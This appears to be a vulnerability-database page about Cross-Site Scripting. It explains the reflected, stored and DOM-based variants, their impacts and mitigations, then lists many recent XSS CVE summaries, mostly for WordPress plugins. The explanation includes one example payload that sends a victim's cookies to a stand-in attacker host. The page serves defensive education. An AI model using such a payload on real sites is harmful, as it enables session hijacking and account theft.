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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40703)

EPSS 0% CVSS 6.4
MEDIUM This Month

IBM Financial Transaction Manager for SWIFT Services for Multiplatforms 3.2.4.0 through 3.2.4.1 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Financial Transaction Manager For Multiplatform
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A Host Header Poisoning Open Redirect issue in slabiak Appointment Scheduler v.1.0.5 allows a remote attacker to redirect users to a malicious website, leading to potential credential theft, malware. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Open Redirect
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

O2OA 9.1.3 is vulnerable to Cross Site Scripting (XSS) in Meetings - Settings. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS O2oa Zoneland
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.3 Standard Edition is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Sterling B2b Integrator
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.3 Standard Edition is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Sterling B2b Integrator
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.3 Standard Edition is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Sterling B2b Integrator
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.3 Standard Edition is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Sterling B2b Integrator
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) in TeamCal Neo, version 3.8.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The eHive Objects Image Grid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ehive_objects_image_grid' shortcode in all versions up to, and including, 2.4.1 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Post Form - Registration Form - Profile Form for User Profiles - Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 7.3
HIGH PATCH This Month

The The WooCommerce Product Table Lite plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.9.4. Rated high severity (CVSS 7.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Code Injection vulnerability could allow attackers to inject and execute arbitrary code within the application.

WordPress XSS RCE +4
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SWIT WP Sessions Time Monitoring Full Automatic allows Reflected XSS.1.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Marcel Pol Gwolle Guestbook allows Reflected XSS.7.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Metagauss User Registration Forms RegistrationMagic allows Reflected XSS.0.3.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Registrationmagic +2
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Paytm Paytm Payment Donation allows Reflected XSS.3.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AlgolPlus Advanced Dynamic Pricing for WooCommerce allows Reflected XSS.9.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PortOne PORTONE 우커머스 결제 allows Reflected XSS.2.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Milan Petrovic GD Mail Queue allows Reflected XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGlow Cleanup - Directory Listing & Classifieds WordPress Plugin allows Reflected XSS.0.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Awesome TOGI Awesome Event Booking allows Reflected XSS.7.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in OneTeamSoftware Radio Buttons and Swatches for WooCommerce allows Reflected XSS.1.20. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Mahbubur Rahman Post Meta allows Reflected XSS.0.9. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SKT Themes SKT Donation allows Reflected XSS.9. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Emili Castells DPortfolio allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodegearThemes Designer allows DOM-Based XSS.6.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in James Andrews Full Circle allows Stored XSS.5.7.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Ninos Ego FlashCounter allows Stored XSS.1.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Bhaskar Dhote Post Carousel Slider allows Stored XSS.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Pedro Marcelo Issuu Panel allows Stored XSS.1.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in leduchuy89vn Affiliate Tools Việt Nam allows Reflected XSS.3.17. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Fabio Savina WP OpenSearch allows Stored XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Notifikacie.sk Notifikácie.sk allows Reflected XSS.sk: from n/a through 1.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodeBard CodeBard Help Desk allows Stored XSS.1.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Codebard Help Desk +2
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Faaiq Pretty Url allows Reflected XSS.5.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mohammad Hossein Aghanabi Hide Login+ allows Reflected XSS.5.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bryan Shanaver @ fiftyandfifty.org CloudFlare(R) Cache Purge allows Reflected XSS.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP DataTable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ parameter in all versions up to, and including, 0.2.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The MP3 Audio Player - Music Player, Podcast Player & Radio by Sonaar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Podcast RSS Feed in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 79% 5.6 CVSS 8.8
HIGH POC THREAT Act Now

GFI Kerio Control versions 9.2.5 through 9.4.5 contain an HTTP response splitting vulnerability in the dest parameter of unauthenticated pages. The unsanitized parameter is used to generate Location headers in 302 redirects, enabling open redirect, HTTP response injection, and reflected XSS that can escalate to admin session hijacking.

XSS Open Redirect Kerio Control +1
NVD
EPSS 1% CVSS 7.2
HIGH This Month

The Link Fixer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via broken links in all versions up to, and including, 3.4 due to insufficient input sanitization and output escaping. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Month

The Shared Files - Frontend File Upload Form & Secure File Sharing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via dfxp File uploads in all versions up to, and including, 1.7.42. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Apache +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The A5 Custom Login Page WordPress plugin through 2.8.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS A5 Custom Login Page
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The ECT Home Page Products WordPress plugin through 1.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ect Home Page Products
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The SlideDeck 1 Lite Content Slider WordPress plugin through 1.4.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Slidedeck 1 Lite Content Slider
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Tabulate WordPress plugin through 2.10.3 does not sanitise and escape some parameters before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Tabulate
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The User Messages WordPress plugin through 1.2.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS User Messages +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Fantastic ElasticSearch WordPress plugin through 4.1.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Elastic +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WordPress Google Map Professional (Map In Your Language) WordPress plugin through 1.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Privacy Policy Genius WordPress plugin through 2.0.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Privacy Policy Genius
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Fast Tube WordPress plugin through 2.3.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Fast Tube
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP MediaTagger WordPress plugin through 4.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Mediatagger
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP MediaTagger WordPress plugin through 4.1.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Mediatagger
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The OPSI Israel Domestic Shipments WordPress plugin through 2.6.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Opsi Israel Domestic Shipments
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Zalomení WordPress plugin through 1.5 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Zalomeni
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Ninja Tables WordPress plugin before 5.0.17 does not sanitize and escape a parameter before outputting it back in the page when importing a CSV, leading to a Cross Site Scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ninja Tables +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Canvasflow for WordPress plugin through 1.5.5 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Canvasflow
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The Contact Form and Calls To Action by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vCitaMeetingScheduler ' shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Ticketmeo - Sell Tickets - Event Ticketing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 2.3.6 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Borderless - Widgets, Elements, Templates and Toolkit for Elementor & Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Borderless +2
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Forminator Forms - Contact Form, Payment Form & Custom Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the title parameter in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SeatReg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'seatreg' shortcode in all versions up to, and including, 1.56.0 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Gosign - Posts Slider Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'posts-slider-block' block in all versions up to, and including, 1.1.0 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WPRadio - WordPress Radio Streaming Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpradio_player' shortcode in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Frictionless plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'frictionless_form' shortcode[s] in all versions up to, and including, 0.0.23 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.6
HIGH This Month

pwn.college is an education platform to learn about, and practice, core cybersecurity concepts in a hands-on fashion. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.2
MEDIUM This Month

VMware Aria Operation for Logs contains a stored cross-site scripting vulnerability. Rated medium severity (CVSS 5.2), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS VMware Cloud Foundation +1
NVD
EPSS 0% CVSS 6.8
MEDIUM This Month

VMware Aria Operations for Logs contains a stored cross-site scripting vulnerability. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS VMware Cloud Foundation +1
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability classified as problematic has been found in Maybecms 1.2. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 1% CVSS 3.5
LOW POC Monitor

DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Voyager Thecontrolgroup
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The StageShow plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Stageshow +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Embed Swagger UI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsgui' shortcode in all versions up to, and including, 1.0.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Embed Swagger Ui +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Music Sheet Viewer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'pn_msv' shortcode in all versions up to, and including, 4.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Music Sheet Viewer +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP Post List Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpb_post_list_table' shortcode in all versions up to, and including, 1.0.3 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Post List Table +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Table Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wptableeditor_vtabs' shortcode in all versions up to, and including, 1.5.1 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Table Editor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The All Bootstrap Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the "Accordion" widget in all versions up to, and including, 1.3.26 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS All Bootstrap Blocks +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WE - Testimonial Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Testimonial Author Names in all versions up to, and including, 1.5 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS We Testimonial Slide +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Kona Gallery Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the "Kona: Instagram for Gutenberg" Block, specifically in the "align" attribute, in all versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Kona Gallery Block +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Stockdio Historical Chart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'stockdio-historical-chart' shortcode in all versions up to, and including, 2.8.18 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Stockdio Historical Chart +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The HTML5 chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'HTML5CHAT' shortcode in all versions up to, and including, 1.04 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Html5 Chat +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Dispensary plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpd_menu' shortcode in all versions up to, and including, 4.5.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Dispensary +1
NVD
EPSS 0% CVSS 6.1
